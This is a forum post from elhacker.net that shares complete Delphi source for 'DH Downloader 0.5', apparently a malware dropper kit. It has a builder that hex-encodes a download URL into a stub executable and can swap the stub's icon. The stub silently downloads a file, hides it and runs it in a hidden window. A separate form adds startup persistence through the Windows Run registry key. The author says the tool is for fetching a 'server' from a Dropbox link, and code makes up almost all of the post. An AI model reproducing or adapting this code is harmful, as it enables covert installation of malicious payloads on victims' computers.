elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] DH Downloader 0.5
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] DH Downloader 0.5  (Leído 1,580 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] DH Downloader 0.5
« en: 18 Noviembre 2013, 14:59 pm »

Un simple programa en Delphi para bajar archivos con las siguientes opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.

Unas imagenes :







El codigo.

El form principal.

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dh;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;
  11.  
  12. type
  13.  TForm1 = class(TForm)
  14.    sSkinManager1: TsSkinManager;
  15.    Image1: TImage;
  16.    sGroupBox1: TsGroupBox;
  17.    sButton1: TsButton;
  18.    sButton2: TsButton;
  19.    sButton3: TsButton;
  20.    sButton4: TsButton;
  21.    procedure sButton3Click(Sender: TObject);
  22.    procedure sButton4Click(Sender: TObject);
  23.    procedure sButton1Click(Sender: TObject);
  24.    procedure sButton2Click(Sender: TObject);
  25.    procedure FormCreate(Sender: TObject);
  26.  private
  27.    { Private declarations }
  28.  public
  29.    { Public declarations }
  30.  end;
  31.  
  32. var
  33.  Form1: TForm1;
  34.  
  35. implementation
  36.  
  37. uses about, usbmode, generate;
  38. {$R *.dfm}
  39.  
  40. procedure TForm1.FormCreate(Sender: TObject);
  41. begin
  42.  
  43.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  44.  sSkinManager1.SkinName := 'neonnight';
  45.  sSkinManager1.Active := True;
  46.  
  47. end;
  48.  
  49. procedure TForm1.sButton1Click(Sender: TObject);
  50. begin
  51.  Form3.Show;
  52. end;
  53.  
  54. procedure TForm1.sButton2Click(Sender: TObject);
  55. begin
  56.  Form4.Show;
  57. end;
  58.  
  59. procedure TForm1.sButton3Click(Sender: TObject);
  60. begin
  61.  Form2.Show;
  62. end;
  63.  
  64. procedure TForm1.sButton4Click(Sender: TObject);
  65. begin
  66.  Form1.Close;
  67. end;
  68.  
  69. end.
  70.  
  71. // The End ?
  72.  

El USB Mode.

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit usbmode;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
  11.  sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
  12.  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;
  13.  
  14. type
  15.  TForm3 = class(TForm)
  16.    Image1: TImage;
  17.    sStatusBar1: TsStatusBar;
  18.    sGroupBox1: TsGroupBox;
  19.    sGroupBox2: TsGroupBox;
  20.    sEdit1: TsEdit;
  21.    sGroupBox3: TsGroupBox;
  22.    sCheckBox1: TsCheckBox;
  23.    sEdit2: TsEdit;
  24.    sCheckBox2: TsCheckBox;
  25.    sEdit3: TsEdit;
  26.    sCheckBox3: TsCheckBox;
  27.    sCheckBox4: TsCheckBox;
  28.    sCheckBox5: TsCheckBox;
  29.    sRadioButton1: TsRadioButton;
  30.    sRadioButton2: TsRadioButton;
  31.    sGroupBox4: TsGroupBox;
  32.    sButton1: TsButton;
  33.    sProgressBar1: TsProgressBar;
  34.    IdHTTP1: TIdHTTP;
  35.    procedure sButton1Click(Sender: TObject);
  36.    procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  37.      AWorkCount: Int64);
  38.    procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  39.      AWorkCountMax: Int64);
  40.    procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  41.    procedure FormCreate(Sender: TObject);
  42.  private
  43.    { Private declarations }
  44.  public
  45.    { Public declarations }
  46.  end;
  47.  
  48. var
  49.  Form3: TForm3;
  50.  
  51. implementation
  52.  
  53. uses about, dh;
  54. {$R *.dfm}
  55. // Functions
  56.  
  57. function getfilename(archivo: string): string;
  58. var
  59.  test: TStrings;
  60. begin
  61.  
  62.  test := TStringList.Create;
  63.  test.Delimiter := '/';
  64.  test.DelimitedText := archivo;
  65.  Result := test[test.Count - 1];
  66.  
  67.  test.Free;
  68.  
  69. end;
  70.  
  71. //
  72.  
  73. procedure TForm3.FormCreate(Sender: TObject);
  74. begin
  75.  sProgressBar1.Position := 0;
  76. end;
  77.  
  78. procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  79.  AWorkCount: Int64);
  80. begin
  81.  sProgressBar1.Position := AWorkCount;
  82.  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  83.  sStatusBar1.Update;
  84. end;
  85.  
  86. procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  87.  AWorkCountMax: Int64);
  88. begin
  89.  sProgressBar1.Max := AWorkCountMax;
  90.  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  91.  sStatusBar1.Update;
  92. end;
  93.  
  94. procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  95. begin
  96.  sProgressBar1.Position := 0;
  97. end;
  98.  
  99. procedure TForm3.sButton1Click(Sender: TObject);
  100. var
  101.  filename: string;
  102.  nombrefinal: string;
  103.  addnow: TRegistry;
  104.  archivobajado: TFileStream;
  105.  
  106. begin
  107.  
  108.  if not sCheckBox1.Checked then
  109.  begin
  110.    filename := sEdit1.Text;
  111.    nombrefinal := getfilename(filename);
  112.  end
  113.  else
  114.  begin
  115.    nombrefinal := sEdit2.Text;
  116.  end;
  117.  
  118.  archivobajado := TFileStream.Create(nombrefinal, fmCreate);
  119.  
  120.  try
  121.    begin
  122.      DeleteFile(nombrefinal);
  123.      IdHTTP1.Get(sEdit1.Text, archivobajado);
  124.      sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
  125.      sStatusBar1.Update;
  126.      archivobajado.Free;
  127.    end;
  128.  except
  129.    sStatusBar1.Panels[0].Text := '[-] Failed download';
  130.    sStatusBar1.Update;
  131.    archivobajado.Free;
  132.    Abort;
  133.  end;
  134.  
  135.  if FileExists(nombrefinal) then
  136.  begin
  137.  
  138.    if sCheckBox2.Checked then
  139.    begin
  140.      if not DirectoryExists(sEdit3.Text) then
  141.      begin
  142.        CreateDir(sEdit3.Text);
  143.      end;
  144.      MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
  145.      sStatusBar1.Panels[0].Text := '[+] File Moved';
  146.      sStatusBar1.Update;
  147.    end;
  148.  
  149.    if sCheckBox3.Checked then
  150.    begin
  151.      SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
  152.      if sCheckBox2.Checked then
  153.      begin
  154.        SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
  155.          FILE_ATTRIBUTE_HIDDEN);
  156.  
  157.        sStatusBar1.Panels[0].Text := '[+] File Hidden';
  158.        sStatusBar1.Update;
  159.      end
  160.      else
  161.      begin
  162.        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
  163.        sStatusBar1.Panels[0].Text := '[+] File Hidden';
  164.        sStatusBar1.Update;
  165.      end;
  166.    end;
  167.  
  168.    if sCheckBox4.Checked then
  169.    begin
  170.  
  171.      addnow := TRegistry.Create;
  172.      addnow.RootKey := HKEY_LOCAL_MACHINE;
  173.      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  174.  
  175.      if sCheckBox2.Checked then
  176.      begin
  177.        addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
  178.      end
  179.      else
  180.      begin
  181.        addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
  182.            + '/' + nombrefinal);
  183.      end;
  184.  
  185.      sStatusBar1.Panels[0].Text := '[+] Registry Updated';
  186.      sStatusBar1.Update;
  187.  
  188.      addnow.Free;
  189.  
  190.    end;
  191.  
  192.    if sCheckBox5.Checked then
  193.    begin
  194.  
  195.      if sRadioButton1.Checked then
  196.      begin
  197.        if sCheckBox2.Checked then
  198.        begin
  199.          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
  200.            nil, nil, SW_SHOWNORMAL);
  201.        end
  202.        else
  203.        begin
  204.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
  205.            SW_SHOWNORMAL);
  206.        end;
  207.      end
  208.      else
  209.      begin
  210.        if sCheckBox2.Checked then
  211.        begin
  212.          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
  213.            nil, nil, SW_HIDE);
  214.        end
  215.        else
  216.        begin
  217.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
  218.        end;
  219.      end;
  220.  
  221.    end;
  222.  
  223.    if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
  224.      sCheckBox4.Checked or sCheckBox5.Checked then
  225.    begin
  226.      sStatusBar1.Panels[0].Text := '[+] Finished';
  227.      sStatusBar1.Update;
  228.    end;
  229.  
  230.  end;
  231.  
  232. end;
  233.  
  234. end.
  235.  
  236. // The End ?
  237.  

El generador.

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit generate;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
  11.  sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;
  12.  
  13. type
  14.  TForm4 = class(TForm)
  15.    Image1: TImage;
  16.    sStatusBar1: TsStatusBar;
  17.  
  18.    OpenDialog1: TOpenDialog;
  19.    sPageControl1: TsPageControl;
  20.    sTabSheet1: TsTabSheet;
  21.    sTabSheet2: TsTabSheet;
  22.    sTabSheet3: TsTabSheet;
  23.    sGroupBox1: TsGroupBox;
  24.    sGroupBox2: TsGroupBox;
  25.    sEdit1: TsEdit;
  26.    sGroupBox3: TsGroupBox;
  27.    sEdit2: TsEdit;
  28.    sGroupBox4: TsGroupBox;
  29.    sRadioButton1: TsRadioButton;
  30.    sRadioButton2: TsRadioButton;
  31.    sGroupBox5: TsGroupBox;
  32.    sGroupBox6: TsGroupBox;
  33.    sGroupBox7: TsGroupBox;
  34.    Image2: TImage;
  35.    sButton1: TsButton;
  36.    sGroupBox8: TsGroupBox;
  37.    sComboBox1: TsComboBox;
  38.    sGroupBox9: TsGroupBox;
  39.    sCheckBox1: TsCheckBox;
  40.    sEdit3: TsEdit;
  41.    sGroupBox10: TsGroupBox;
  42.    sButton2: TsButton;
  43.    procedure sButton1Click(Sender: TObject);
  44.    procedure sEdit2Click(Sender: TObject);
  45.    procedure sButton2Click(Sender: TObject);
  46.  
  47.    procedure FormCreate(Sender: TObject);
  48.  
  49.  private
  50.    { Private declarations }
  51.  public
  52.    { Public declarations }
  53.  end;
  54.  
  55. var
  56.  Form4: TForm4;
  57.  
  58. implementation
  59.  
  60. {$R *.dfm}
  61. // Functions
  62.  
  63. function dhencode(texto, opcion: string): string;
  64. // Thanks to Taqyon
  65. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  66. var
  67.  num: integer;
  68.  aca: string;
  69.  cantidad: integer;
  70.  
  71. begin
  72.  
  73.  num := 0;
  74.  Result := '';
  75.  aca := '';
  76.  cantidad := 0;
  77.  
  78.  if (opcion = 'encode') then
  79.  begin
  80.    cantidad := length(texto);
  81.    for num := 1 to cantidad do
  82.    begin
  83.      aca := IntToHex(ord(texto[num]), 2);
  84.      Result := Result + aca;
  85.    end;
  86.  end;
  87.  
  88.  if (opcion = 'decode') then
  89.  begin
  90.    cantidad := length(texto);
  91.    for num := 1 to cantidad div 2 do
  92.    begin
  93.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  94.      Result := Result + aca;
  95.    end;
  96.  end;
  97.  
  98. end;
  99.  
  100. function getfilename(archivo: string): string;
  101. var
  102.  test: TStrings;
  103. begin
  104.  
  105.  test := TStringList.Create;
  106.  test.Delimiter := '/';
  107.  test.DelimitedText := archivo;
  108.  Result := test[test.Count - 1];
  109.  
  110.  test.Free;
  111.  
  112. end;
  113.  
  114. //
  115.  
  116. procedure TForm4.FormCreate(Sender: TObject);
  117. begin
  118.  
  119.  OpenDialog1.InitialDir := GetCurrentDir;
  120.  OpenDialog1.Filter := 'ICO|*.ico|';
  121.  
  122. end;
  123.  
  124. procedure TForm4.sButton2Click(Sender: TObject);
  125. var
  126.  linea: string;
  127.  aca: THandle;
  128.  code: Array [0 .. 9999 + 1] of Char;
  129.  nose: DWORD;
  130.  marca_uno: string;
  131.  marca_dos: string;
  132.  url: string;
  133.  opcionocultar: string;
  134.  savein: string;
  135.  lineafinal: string;
  136.  stubgenerado: string;
  137.  tipodecarga: string;
  138.  change: DWORD;
  139.  valor: string;
  140.  
  141. begin
  142.  
  143.  url := sEdit1.Text;
  144.  stubgenerado := 'tiny_down.exe';
  145.  
  146.  if (sRadioButton2.Checked = True) then
  147.  begin
  148.    tipodecarga := '1';
  149.  end
  150.  else
  151.  begin
  152.    tipodecarga := '0';
  153.  end;
  154.  
  155.  if (sCheckBox1.Checked = True) then
  156.  begin
  157.    opcionocultar := '1';
  158.  end
  159.  else
  160.  begin
  161.    opcionocultar := '0';
  162.  end;
  163.  
  164.  if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  165.  begin
  166.    savein := 'USERPROFILE';
  167.  end
  168.  else
  169.  begin
  170.    savein := sComboBox1.Items[sComboBox1.ItemIndex];
  171.  end;
  172.  
  173.  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
  174.    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
  175.    '[name]' + '[carga]' + tipodecarga + '[carga]';
  176.  
  177.  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
  178.  
  179.  aca := INVALID_HANDLE_VALUE;
  180.  nose := 0;
  181.  
  182.  DeleteFile(stubgenerado);
  183.  CopyFile(PChar(ExtractFilePath(Application.ExeName)
  184.        + '/' + 'Data/stub_down.exe'), PChar
  185.      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  186.  
  187.  linea := marca_uno;
  188.  StrCopy(code, PChar(linea));
  189.  aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
  190.    OPEN_EXISTING, 0, 0);
  191.  if (aca <> INVALID_HANDLE_VALUE) then
  192.  begin
  193.    SetFilePointer(aca, 0, nil, FILE_END);
  194.    WriteFile(aca, code, 9999, nose, nil);
  195.    CloseHandle(aca);
  196.  end;
  197.  
  198.  //
  199.  
  200.  if not(sEdit3.Text = '') then
  201.  begin
  202.    try
  203.      begin
  204.  
  205.        valor := IntToStr(128);
  206.  
  207.        change := BeginUpdateResourceW
  208.          (PWideChar(wideString(ExtractFilePath(Application.ExeName)
  209.                + '/' + stubgenerado)), False);
  210.        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  211.          PWideChar(wideString(sEdit3.Text)));
  212.        EndUpdateResourceW(change, False);
  213.        sStatusBar1.Panels[0].Text := '[+] Done ';
  214.        sStatusBar1.Update;
  215.      end;
  216.    except
  217.      begin
  218.        sStatusBar1.Panels[0].Text := '[-] Error';
  219.        sStatusBar1.Update;
  220.      end;
  221.    end;
  222.  end
  223.  else
  224.  begin
  225.    sStatusBar1.Panels[0].Text := '[+] Done ';
  226.    sStatusBar1.Update;
  227.  end;
  228.  
  229.  //
  230.  
  231. end;
  232.  
  233. procedure TForm4.sButton1Click(Sender: TObject);
  234. begin
  235.  
  236.  if OpenDialog1.Execute then
  237.  begin
  238.    Image2.Picture.LoadFromFile(OpenDialog1.FileName);
  239.    sEdit3.Text := OpenDialog1.FileName;
  240.  end;
  241.  
  242. end;
  243.  
  244. procedure TForm4.sEdit2Click(Sender: TObject);
  245. begin
  246.  if not(sEdit1.Text = '') then
  247.  begin
  248.    sEdit2.Text := getfilename(sEdit1.Text);
  249.  end;
  250. end;
  251.  
  252. end.
  253.  
  254. // The End ?
  255.  

El stub

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. // Stub
  5.  
  6. program stub_down;
  7.  
  8. // {$APPTYPE CONSOLE}
  9.  
  10. uses
  11.  SysUtils, Windows, URLMon, ShellApi;
  12.  
  13.  
  14. // Functions
  15.  
  16. function regex(text: String; deaca: String; hastaaca: String): String;
  17. begin
  18.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  19.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  20.  Result := text;
  21. end;
  22.  
  23. function dhencode(texto, opcion: string): string;
  24. // Thanks to Taqyon
  25. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  26. var
  27.  num: integer;
  28.  aca: string;
  29.  cantidad: integer;
  30.  
  31. begin
  32.  
  33.  num := 0;
  34.  Result := '';
  35.  aca := '';
  36.  cantidad := 0;
  37.  
  38.  if (opcion = 'encode') then
  39.  begin
  40.    cantidad := Length(texto);
  41.    for num := 1 to cantidad do
  42.    begin
  43.      aca := IntToHex(ord(texto[num]), 2);
  44.      Result := Result + aca;
  45.    end;
  46.  end;
  47.  
  48.  if (opcion = 'decode') then
  49.  begin
  50.    cantidad := Length(texto);
  51.    for num := 1 to cantidad div 2 do
  52.    begin
  53.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  54.      Result := Result + aca;
  55.    end;
  56.  end;
  57.  
  58. end;
  59.  
  60. //
  61.  
  62. var
  63.  ob: THandle;
  64.  code: Array [0 .. 9999 + 1] of Char;
  65.  nose: DWORD;
  66.  link: string;
  67.  todo: string;
  68.  opcion: string;
  69.  path: string;
  70.  nombre: string;
  71.  rutafinal: string;
  72.  tipodecarga: string;
  73.  
  74. begin
  75.  
  76.  try
  77.  
  78.    ob := INVALID_HANDLE_VALUE;
  79.    code := '';
  80.  
  81.    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  82.      OPEN_EXISTING, 0, 0);
  83.    if (ob <> INVALID_HANDLE_VALUE) then
  84.    begin
  85.      SetFilePointer(ob, -9999, nil, FILE_END);
  86.      ReadFile(ob, code, 9999, nose, nil);
  87.      CloseHandle(ob);
  88.    end;
  89.  
  90.    todo := regex(code, '[63686175]', '[63686175]');
  91.    todo := dhencode(todo, 'decode');
  92.  
  93.    link := regex(todo, '[link]', '[link]');
  94.    opcion := regex(todo, '[opcion]', '[opcion]');
  95.    path := regex(todo, '[path]', '[path]');
  96.    nombre := regex(todo, '[name]', '[name]');
  97.    tipodecarga := regex(todo, '[carga]', '[carga]');
  98.  
  99.    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;
  100.  
  101.    try
  102.  
  103.      begin
  104.        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);
  105.  
  106.        if (FileExists(rutafinal)) then
  107.        begin
  108.  
  109.          if (opcion = '1') then
  110.          begin
  111.            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
  112.          end;
  113.  
  114.          if (tipodecarga = '1') then
  115.          begin
  116.            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
  117.          end
  118.          else
  119.          begin
  120.            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
  121.          end;
  122.        end;
  123.  
  124.      end;
  125.    except
  126.      //
  127.    end;
  128.  
  129.  except
  130.    //
  131.  end;
  132.  
  133. end.
  134.  
  135. // The End ?
  136.  

Si lo quieren bajar lo pueden hacer de aca.


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Downloader!!!!
Programación Visual Basic
digitalice 3 1,842 Último mensaje 14 Marzo 2006, 15:25 pm
por Kizar
[Descarga] CodeGear RAD Studio - Delphi 2007 + Delphi for PHP « 1 2 3 »
Software
GroK 26 25,369 Último mensaje 14 Mayo 2014, 17:51 pm
por sebaseok
[Delphi] DH Downloader 0.8
Programación General
BigBear 0 1,853 Último mensaje 29 Mayo 2014, 22:53 pm
por BigBear
[Delphi] DH Downloader 2.0
Programación General
BigBear 1 1,565 Último mensaje 1 Noviembre 2016, 20:35 pm
por Borito30
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines